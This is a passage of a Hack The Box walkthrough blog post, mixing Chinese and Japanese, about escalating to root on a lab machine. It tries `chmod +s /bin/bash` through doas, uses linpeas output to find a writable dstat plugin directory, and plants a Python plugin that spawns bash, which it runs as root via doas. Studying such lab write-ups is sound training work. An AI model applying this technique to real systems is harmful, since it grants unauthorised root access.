DOAS(<\/span>1)<\/span>                                                        BSD General Commands Manual                                                       DOAS(<\/span>1)<\/span>\r\n\r\nNAME\r\n     doas \u2014 execute commands as another user\r\n\r\nSYNOPSIS\r\n     doas [<\/span>-nSs<\/span>]<\/span> [<\/span>-a<\/span> style] [<\/span>-C<\/span> config] [<\/span>-u<\/span> user] [<\/span>--<\/span>]<\/span> command<\/span> [<\/span>args]\r\n\r\nDESCRIPTION\r\n     The doas utility executes the given command <\/span>as another user.  The command <\/span>argument is mandatory unless -C<\/span>, -S<\/span>, or -s<\/span> is specified.\r\n\r\n     The options are as follows:\r\n\r\n     -a<\/span> style    Use the specified authentication style when validating the user, as allowed by \/etc\/login.conf.  A list of doas-specific authentication\r\n                 methods may be configured by adding an \u2018auth-doas\u2019 entry in <\/span>login.conf(<\/span>5)<\/span>.<\/span>\r\n\r\n     -C<\/span> config   Parse and check the configuration file config, then <\/span>exit.  If command <\/span>is supplied, doas will also perform command <\/span>matching.  In the\r\n                 latter case<\/span> either \u2018permit\u2019, \u2018permit nopass\u2019 or \u2018deny\u2019 will be printed on standard output, depending on command <\/span>matching results.  No\r\n                 command <\/span>is executed.\r\n\r\n     -n<\/span>          Non interactive mode, fail if <\/span>doas would prompt for <\/span>password.\r\n\r\n     -S<\/span>          Same as -s<\/span> but simulates a full login. Please note this may result in <\/span>doas applying resource limits to the user based on the target\r\n                 user's login class. However, environment variables applicable to the target user are still stripped, unless KEEPENV is specified.\r\n\r\n     -s          Execute the shell from SHELL or \/etc\/passwd.\r\n\r\n     -u user     Execute the command as user.  The default is root.  Please note: On some systems multiple usernames can resolve to one UID. For exam\u2010\r\n                 ple, root and toor both resolve to UID 0 on FreeBSD. Please see the \"as\" syntax section of the doas.conf manual page for details on how\r\n                 doas handles this situation.\r\n\r\n     --          Any dashes after a combined double dash (--) will be interpreted as part of the command to be run or its parameters. Not an argument\r\n                 passed to doas itself.\r\n\r\nEXIT STATUS\r\n     The doas utility exits 0 on success, and >0 if an error occurs.  It may fail for one of the following reasons:\r\n\r\n     \u2022   The config file \/usr\/local\/etc\/doas.conf could not be parsed.\r\n     \u2022   The user attempted to run a command which is not permitted.\r\n     \u2022   The password was incorrect.\r\n     \u2022   The specified command was not found or is not executable.\r\n\r\nSEE ALSO\r\n     su(1), doas.conf(5)\r\n\r\nHISTORY\r\n     The doas command first appeared in OpenBSD 5.8.\r\n\r\nAUTHORS\r\n     Ted Unangst <tedu@openbsd.org>\r\n\r\nBSD                                                                   June 11, 2016                                                                  BSD\r\n Manual page doas(1) line 1\/52 (END) (press h for help or q to quit)\r\n<\/span><\/code><\/pre>\n
\u54e6\uff0c\u770b\u8d77\u6765\u53ef\u4ee5\u5728root\u7ea7\u522b\u4e0b\u8fd0\u884c\u3002\u901a\u8fc7\u8fd9\u4e2adoas\uff0c\u80fd\u591f\u5728root\u7ea7\u522b\u4e0b\u6267\u884c\u6709\u6548\u8f7d\u8377\u5417\uff1f
\n\u5c1d\u8bd5\u521b\u5efa\u4ee5\u4e0bShell\u811a\u672c\u5e76\u6267\u884c\u4e00\u4e0b\u3002<\/p>\n
chmod<\/span> +s \/bin\/bash\r\n<\/code><\/pre>\n
player@soccer:\/usr\/local\/bin$ <\/span>doas -u<\/span> root \/tmp\/shell.sh\r\ndoas: Operation not permitted\r\n<\/code><\/pre>\n
\u3042\u304b\u3093\u3001\u3046\u307e\u304f\u3044\u304b\u3093\u3002\u8a31\u3055\u308c\u306a\u304b\u3063\u305f…
\ndoas\u3067\u5b9f\u884c\u3057\u3066\u305f\u30b3\u30de\u30f3\u30c9\u304ccp\u3068\u304b\u3060\u3063\u305f\u306e\u3067\u300c\/bin\u300d\u7cfb\u306e\u914d\u4e0b\u306b\u306a\u3044\u3068\u51fa\u6765\u306a\u3055\u305d\u3046\u306a\u611f\u899a\u304c\u3042\u308b\u3002
\n\u300c\/bin\u300d\u7cfb\u3067Write\u6a29\u9650\u3042\u308b\u968e\u5c64\u3092\u63a2\u3057\u3066\u307f\u308b\u3002
\n\u4ee5\u4e0b\u306elinpeas\u306e\u51fa\u529b\u7d50\u679c\u3092\u78ba\u8a8d\u3059\u308b\u3002<\/p>\n
...\u7701\u7565\r\n\r\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Interesting writable files owned by me or writable by everyone (<\/span>not in <\/span>Home)<\/span> (<\/span>max 500)<\/span>\r\n\u255a https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation#writable-files                                                                           \r\n\/dev\/mqueue                                                                                                                                                 \r\n\/dev\/shm\r\n\/home\/player\r\n\/run\/lock\r\n\/run\/screen\r\n\/run\/user\/1001\r\n\/run\/user\/1001\/dbus-1\r\n\/run\/user\/1001\/dbus-1\/services\r\n\/run\/user\/1001\/gnupg\r\n\/run\/user\/1001\/inaccessible\r\n\/run\/user\/1001\/systemd\r\n\/run\/user\/1001\/systemd\/transient\r\n\/run\/user\/1001\/systemd\/units\r\n\/snap\/core20\/1695\/run\/lock\r\n\/snap\/core20\/1695\/tmp\r\n\/snap\/core20\/1695\/var\/tmp\r\n\/tmp\r\n\/tmp\/.ICE-unix\r\n\/tmp\/.Test-unix\r\n\/tmp\/.X11-unix\r\n\/tmp\/.XIM-unix\r\n\/tmp\/.font-unix\r\n#)You_can_write_even_more_files_inside_last_directory<\/span>\r\n\r\n\/var\/crash\r\n\/var\/lib\/php\/sessions\r\n\/var\/tmp\r\n\/var\/tmp\/cloud-init\r\n\/var\/www\/html\/tiny\/uploads\r\n\r\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Interesting GROUP writable files (<\/span>not in <\/span>Home)<\/span> (<\/span>max 500)<\/span>\r\n\u255a https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation#writable-files                                                                           \r\n  Group player:                                                                                                                                             \r\n\/usr\/local\/share\/dstat                                                                                                                                      \r\n\/tmp\/linpeas.sh\r\n\/tmp\/LinEnum.sh\r\n\r\n...\u7701\u7565\r\n<\/code><\/pre>\n
\u300c\/bin\u300d\u7cfb\u3067\u306f\u306a\u3044\u304c\u3001\u3053\u3053\u3067\u6c17\u306b\u306a\u308b\u51fa\u529b\u3092\u767a\u898b\u3059\u308b\u3002
\n\/usr\/local\/share\/dstat\u304c\u66f8\u304d\u8fbc\u307f\u53ef\u80fd\u3068\u3044\u3046\u3053\u3068\u3060\u3002dstat\u3068\u3044\u3048\u3070Linux\u306e\u30ea\u30bd\u30fc\u30b9\u76e3\u8996\u3067\u4f7f\u308f\u308c\u3066\u3044\u308b\u3082\u306e\u3067\u3042\u308b\u3002
\n\u3053\u306e\u968e\u5c64\u306b\u4f55\u304b\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u66f8\u304d\u8fbc\u3093\u3067dstat\u30b3\u30de\u30f3\u30c9\u7d4c\u7531\u3067\u7279\u6a29\u6607\u683c\u3067\u304d\u308b\u304b\u3082…<\/p>\n
dstat \u6570\u636e\u7edf\u8ba1<\/h2>\n
\u6211\u5148\u7528dstat\u770b\u770b\u80fd\u505a\u4e9b\u4ec0\u4e48\u3002<\/p>\n
player@soccer:\/usr\/local\/share\/dstat$ <\/span>dstat -h<\/span>\r\nUsage: dstat [<\/span>-afv<\/span>]<\/span> [<\/span>options..] [<\/span>delay [<\/span>count]]\r\nVersatile tool for <\/span>generating system resource statistics)<\/span>\r\n\r\nDstat options:\r\n  -c<\/span>, --cpu<\/span>                enable <\/span>cpu stats\r\n     -C<\/span> 0,3,total             include cpu0, cpu3 and total\r\n  -d<\/span>, --disk<\/span>               enable <\/span>disk stats\r\n     -D<\/span> total,hda             include hda and total\r\n  -g<\/span>, --page<\/span>               enable <\/span>page stats\r\n  -i<\/span>, --int<\/span>                enable <\/span>interrupt stats\r\n     -I<\/span> 5,eth2                include int5 and interrupt used by eth2\r\n  -l<\/span>, --load<\/span>               enable <\/span>load stats\r\n  -m<\/span>, --mem<\/span>                enable <\/span>memory stats\r\n  -n<\/span>, --net<\/span>                enable <\/span>network stats\r\n     -N<\/span> eth1,total            include eth1 and total\r\n  -p<\/span>, --proc<\/span>               enable <\/span>process stats\r\n  -r<\/span>, --io<\/span>                 enable <\/span>io stats (<\/span>I\/O requests completed)<\/span>\r\n  -s<\/span>, --swap<\/span>               enable <\/span>swap stats\r\n     -S<\/span> swap1,total           include swap1 and total\r\n  -t<\/span>, --time<\/span>               enable time<\/span>\/date output\r\n  -T<\/span>, --epoch<\/span>              enable time <\/span>counter (<\/span>seconds since epoch)<\/span>\r\n  -y<\/span>, --sys<\/span>                enable <\/span>system stats\r\n\r\n  --aio<\/span>                    enable <\/span>aio stats\r\n  --fs<\/span>, --filesystem<\/span>       enable <\/span>fs stats\r\n  --ipc<\/span>                    enable <\/span>ipc stats\r\n  --lock<\/span>                   enable <\/span>lock stats\r\n  --raw<\/span>                    enable <\/span>raw stats\r\n  --socket<\/span>                 enable <\/span>socket stats\r\n  --tcp<\/span>                    enable <\/span>tcp stats\r\n  --udp<\/span>                    enable <\/span>udp stats\r\n  --unix<\/span>                   enable <\/span>unix stats\r\n  --vm<\/span>                     enable <\/span>vm stats\r\n  --vm-adv<\/span>                 enable <\/span>advanced vm stats\r\n  --zones<\/span>                  enable <\/span>zoneinfo stats\r\n\r\n  --list<\/span>                   list all available plugins\r\n  --<\/span><plugin-name>          enable <\/span>external plugin by name (<\/span>see --list<\/span>)<\/span>\r\n\r\n  -a<\/span>, --all<\/span>                equals -cdngy<\/span> (<\/span>default)<\/span>\r\n  -f<\/span>, --full<\/span>               automatically expand<\/span> -C<\/span>, -D<\/span>, -I<\/span>, -N<\/span> and -S<\/span> lists\r\n  -v<\/span>, --vmstat<\/span>             equals -pmgdsc<\/span> -D<\/span> total\r\n\r\n  --bits<\/span>                   force bits for <\/span>values expressed in <\/span>bytes\r\n  --float<\/span>                  force float values on screen\r\n  --integer<\/span>                force integer values on screen\r\n\r\n  --bw<\/span>, --black-on-white<\/span>   change colors for <\/span>white background terminal\r\n  --color<\/span>                  force colors\r\n  --nocolor<\/span>                disable colors\r\n  --noheaders<\/span>              disable repetitive headers\r\n  --noupdate<\/span>               disable intermediate updates\r\n  --output<\/span> file            write CSV output to file\r\n  --profile<\/span>                show profiling statistics when exiting dstat\r\n\r\ndelay is the delay in <\/span>seconds between each update (<\/span>default: 1)<\/span>\r\ncount is the number of updates to display before exiting (<\/span>default: unlimited)<\/span>\r\n<\/code><\/pre>\n
\u5728\u4e2d\u6587\u4e2d\uff0c\u53ef\u4ee5\u6307\u5b9a\u7684\u9009\u9879\u5927\u7ea6\u6709-C\u3001-D\u3001-I\u3001-N\u3001-S\u3001–\u3001–output file\u3002\u5176\u4e2d\u6211\u5bf9–\u66f4\u611f\u5174\u8da3\u3002\u5c1d\u8bd5\u7528–list\u786e\u8ba4\u5176\u5185\u5bb9\u3002<\/p>\n
player@soccer:\/usr\/local\/share\/dstat$ <\/span>dstat --list<\/span>\r\ninternal:\r\n        aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,\r\n        raw,socket,swap,swap-old,sys,tcp,time,udp,unix,vm,vm-adv,zones\r\n\/usr\/share\/dstat:\r\n        battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,dstat,dstat-cpu,\r\n        dstat-ctxt,dstat-mem,fan,freespace,fuse,gpfs,gpfs-ops,helloworld,ib,innodb-buffer,innodb-io,innodb-ops,jvm-full,jvm-vm,lustre,\r\n        md-status,memcache-hits,mongodb-conn,mongodb-mem,mongodb-opcount,mongodb-queue,mongodb-stats,mysql-io,mysql-keys,mysql5-cmds,\r\n        mysql5-conn,mysql5-innodb,mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,net-packets,nfs3,nfs3-ops,nfsd3,nfsd3-ops,\r\n        nfsd4-ops,nfsstat4,ntp,postfix,power,proc-count,qmail,redis,rpc,rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,snmp-net,snmp-net-err,\r\n        snmp-sys,snooze,squid,test,thermal,top-bio,top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,top-cputime-avg,top-int,top-io,\r\n        top-io-adv,top-latency,top-latency-avg,top-mem,top-oom,utmp,vm-cpu,vm-mem,vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,\r\n        wifi,zfs-arc,zfs-l2arc,zfs-zil\r\n<\/code><\/pre>\n
\"image.png\"<\/div>\n
\u521b\u5efa\u6709\u6548\u8f7d\u8377<\/h2>\n
\u5c1d\u8bd5\u5728\u201c\/usr\/local\/share\/dstat\u201d\u76ee\u5f55\u4e0b\u521b\u5efaPython\u52a0\u8f7d\u6587\u4ef6\u3002<\/p>\n
import<\/span> subprocess<\/span>\r\n\r\nsubprocess<\/span>.<\/span>run<\/span>([<\/span>'<\/span>bash<\/span>'<\/span>])<\/span>\r\n<\/code><\/pre>\n
\u5c1d\u8bd5\u5c06\u4e0a\u8ff0\u7684Python\u6587\u4ef6\u4f5c\u4e3adstat\u63d2\u4ef6\u52a0\u8f7d\u5e76\u901a\u8fc7doas\u8fdb\u884c\u6267\u884c\u3002<\/p>\n
player@soccer:\/usr\/local\/share\/dstat$ <\/span>doas -u<\/span> root dstat --payload<\/span>\r\n<\/code><\/pre>\n
\"image.png\"<\/div>\n
player@soccer:\/usr\/local\/share\/dstat$ <\/span>doas -u<\/span> root \/usr\/bin\/dstat --payload<\/span>\r\n<\/code><\/pre>\n
\"image.png\"<\/div>\n
\u603b\u7ed3<\/h1>\n
\"image.png\"<\/div>\n
\u5e0c\u671b\u8fd9\u6b21\u4e5f\u80fd\u5bf9\u5b89\u5168\u5de5\u7a0b\u5e08\u7684\u5927\u5bb6\u6709\u6240\u5e2e\u52a9\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
\u4e00\u5f00\u59cb \u3069\u3046\u3082\u3001\u30af\u30bd\u96d1\u9b5a\u306e\u306a\u3093\u3061\u3083\u3066\u30a8\u30f3\u30b8\u30cb\u30a2\u3067\u3059\u3002 \u672c\u8a18\u4e8b\u306f Hack The Box(\u4ee5\u4e0b\u30ea\u30f3\u30af\u53c2\u7167) \u306e […]<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-34835","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"yoast_head":"\n\u3010Hack The Box\u3011\u8db3\u7403\u3010\u653b\u7565\u3011 - Blog - Silicon Cloud<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.silicloud.com\/zh\/blog\/\u3010hack-the-box\u3011\u8db3\u7403\u3010\u653b\u7565\u3011\/\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u3010Hack The Box\u3011\u8db3\u7403\u3010\u653b\u7565\u3011\" \/>\n<meta property=\"og:description\" content=\"\u4e00\u5f00\u59cb \u3069\u3046\u3082\u3001\u30af\u30bd\u96d1\u9b5a\u306e\u306a\u3093\u3061\u3083\u3066\u30a8\u30f3\u30b8\u30cb\u30a2\u3067\u3059\u3002 \u672c\u8a18\u4e8b\u306f Hack The Box(\u4ee5\u4e0b\u30ea\u30f3\u30af\u53c2\u7167) \u306e […]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.silicloud.com\/zh\/blog\/\u3010hack-the-box\u3011\u8db3\u7403\u3010\u653b\u7565\u3011\/\" \/>\n<meta property=\"og:site_name\" content=\"Blog - Silicon Cloud\" \/>\n<meta property=\"article:published_time\" content=\"2024-02-06T18:15:58+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-04-28T22:40:02+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/cdn.silicloud.com\/blog-img\/blog\/img\/657d1f6537434c4406c1a6c3\/39-0.png\" \/>\n<meta name=\"author\" content=\"\u79d1, \u9896\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"\u79d1, \u9896\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"19 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/%e3%80%90hack-the-box%e3%80%91%e8%b6%b3%e7%90%83%e3%80%90%e6%94%bb%e7%95%a5%e3%80%91\/\",\"url\":\"https:\/\/www.silicloud.com\/zh\/blog\/%e3%80%90hack-the-box%e3%80%91%e8%b6%b3%e7%90%83%e3%80%90%e6%94%bb%e7%95%a5%e3%80%91\/\",\"name\":\"\u3010Hack The Box\u3011\u8db3\u7403\u3010\u653b\u7565\u3011 - Blog - Silicon Cloud\",\"isPartOf\":{\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/#website\"},\"datePublished\":\"2024-02-06T18:15:58+00:00\",\"dateModified\":\"2024-04-28T22:40:02+00:00\",\"author\":{\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/8ca01ba7f7362ad4edb7da206a12f29e\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/%e3%80%90hack-the-box%e3%80%91%e8%b6%b3%e7%90%83%e3%80%90%e6%94%bb%e7%95%a5%e3%80%91\/#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.silicloud.com\/zh\/blog\/%e3%80%90hack-the-box%e3%80%91%e8%b6%b3%e7%90%83%e3%80%90%e6%94%bb%e7%95%a5%e3%80%91\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/%e3%80%90hack-the-box%e3%80%91%e8%b6%b3%e7%90%83%e3%80%90%e6%94%bb%e7%95%a5%e3%80%91\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.silicloud.com\/zh\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u3010Hack The Box\u3011\u8db3\u7403\u3010\u653b\u7565\u3011\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/#website\",\"url\":\"https:\/\/www.silicloud.com\/zh\/blog\/\",\"name\":\"Blog - Silicon Cloud\",\"description\":\"\",\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/8ca01ba7f7362ad4edb7da206a12f29e\",\"name\":\"\u79d1, \u9896\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/8a6fb3cc7ba2f69d2189ba532aec4633ea7ed75ac0af162ec367cb3abc0fb2af?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/8a6fb3cc7ba2f69d2189ba532aec4633ea7ed75ac0af162ec367cb3abc0fb2af?s=96&d=mm&r=g\",\"caption\":\"\u79d1, \u9896\"},\"url\":\"https:\/\/www.silicloud.com\/zh\/blog\/author\/keying\/\"},{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/%e3%80%90hack-the-box%e3%80%91%e8%b6%b3%e7%90%83%e3%80%90%e6%94%bb%e7%95%a5%e3%80%91\/#local-main-organization-logo\",\"url\":\"\",\"contentUrl\":\"\",\"caption\":\"Blog - Silicon Cloud\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"\u3010Hack The Box\u3011\u8db3\u7403\u3010\u653b\u7565\u3011 - Blog - Silicon Cloud","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.silicloud.com\/zh\/blog\/\u3010hack-the-box\u3011\u8db3\u7403\u3010\u653b\u7565\u3011\/","og_locale":"zh_CN","og_type":"article","og_title":"\u3010Hack The Box\u3011\u8db3\u7403\u3010\u653b\u7565\u3011","og_description":"\u4e00\u5f00\u59cb \u3069\u3046\u3082\u3001\u30af\u30bd\u96d1\u9b5a\u306e\u306a\u3093\u3061\u3083\u3066\u30a8\u30f3\u30b8\u30cb\u30a2\u3067\u3059\u3002 \u672c\u8a18\u4e8b\u306f Hack The Box(\u4ee5\u4e0b\u30ea\u30f3\u30af\u53c2\u7167) \u306e […]","og_url":"https:\/\/www.silicloud.com\/zh\/blog\/\u3010hack-the-box\u3011\u8db3\u7403\u3010\u653b\u7565\u3011\/","og_site_name":"Blog - Silicon Cloud","article_published_time":"2024-02-06T18:15:58+00:00","article_modified_time":"2024-04-28T22:40:02+00:00","og_image":[{"url":"https:\/\/cdn.silicloud.com\/blog-img\/blog\/img\/657d1f6537434c4406c1a6c3\/39-0.png"}],"author":"\u79d1, \u9896","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"\u79d1, \u9896","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"19 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.silicloud.com\/zh\/blog\/%e3%80%90hack-the-box%e3%80%91%e8%b6%b3%e7%90%83%e3%80%90%e6%94%bb%e7%95%a5%e3%80%91\/","url":"https:\/\/www.silicloud.com\/zh\/blog\/%e3%80%90hack-the-box%e3%80%91%e8%b6%b3%e7%90%83%e3%80%90%e6%94%bb%e7%95%a5%e3%80%91\/","name":"\u3010Hack The Box\u3011\u8db3\u7403\u3010\u653b\u7565\u3011 - Blog - Silicon Cloud","isPartOf":{"@id":"https:\/\/www.silicloud.com\/zh\/blog\/#website"},"datePublished":"2024-02-06T18:15:58+00:00","dateModified":"2024-04-28T22:40:02+00:00","author":{"@id":"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/8ca01ba7f7362ad4edb7da206a12f29e"},"breadcrumb":{"@id":"https:\/\/www.silicloud.com\/zh\/blog\/%e3%80%90hack-the-box%e3%80%91%e8%b6%b3%e7%90%83%e3%80%90%e6%94%bb%e7%95%a5%e3%80%91\/#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.silicloud.com\/zh\/blog\/%e3%80%90hack-the-box%e3%80%91%e8%b6%b3%e7%90%83%e3%80%90%e6%94%bb%e7%95%a5%e3%80%91\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.silicloud.com\/zh\/blog\/%e3%80%90hack-the-box%e3%80%91%e8%b6%b3%e7%90%83%e3%80%90%e6%94%bb%e7%95%a5%e3%80%91\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.silicloud.com\/zh\/blog\/"},{"@type":"ListItem","position":2,"name":"\u3010Hack The Box\u3011\u8db3\u7403\u3010\u653b\u7565\u3011"}]},{"@type":"WebSite","@id":"https:\/\/www.silicloud.com\/zh\/blog\/#website","url":"https:\/\/www.silicloud.com\/zh\/blog\/","name":"Blog - Silicon Cloud","description":"","inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/8ca01ba7f7362ad4edb7da206a12f29e","name":"\u79d1, \u9896","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/8a6fb3cc7ba2f69d2189ba532aec4633ea7ed75ac0af162ec367cb3abc0fb2af?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/8a6fb3cc7ba2f69d2189ba532aec4633ea7ed75ac0af162ec367cb3abc0fb2af?s=96&d=mm&r=g","caption":"\u79d1, \u9896"},"url":"https:\/\/www.silicloud.com\/zh\/blog\/author\/keying\/"},{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.silicloud.com\/zh\/blog\/%e3%80%90hack-the-box%e3%80%91%e8%b6%b3%e7%90%83%e3%80%90%e6%94%bb%e7%95%a5%e3%80%91\/#local-main-organization-logo","url":"","contentUrl":"","caption":"Blog - Silicon Cloud"}]}},"_links":{"self":[{"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/posts\/34835","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/comments?post=34835"}],"version-history":[{"count":2,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/posts\/34835\/revisions"}],"predecessor-version":[{"id":83655,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/posts\/34835\/revisions\/83655"}],"wp:attachment":[{"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/media?parent=34835"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/categories?post=34835"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/tags?post=34835"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}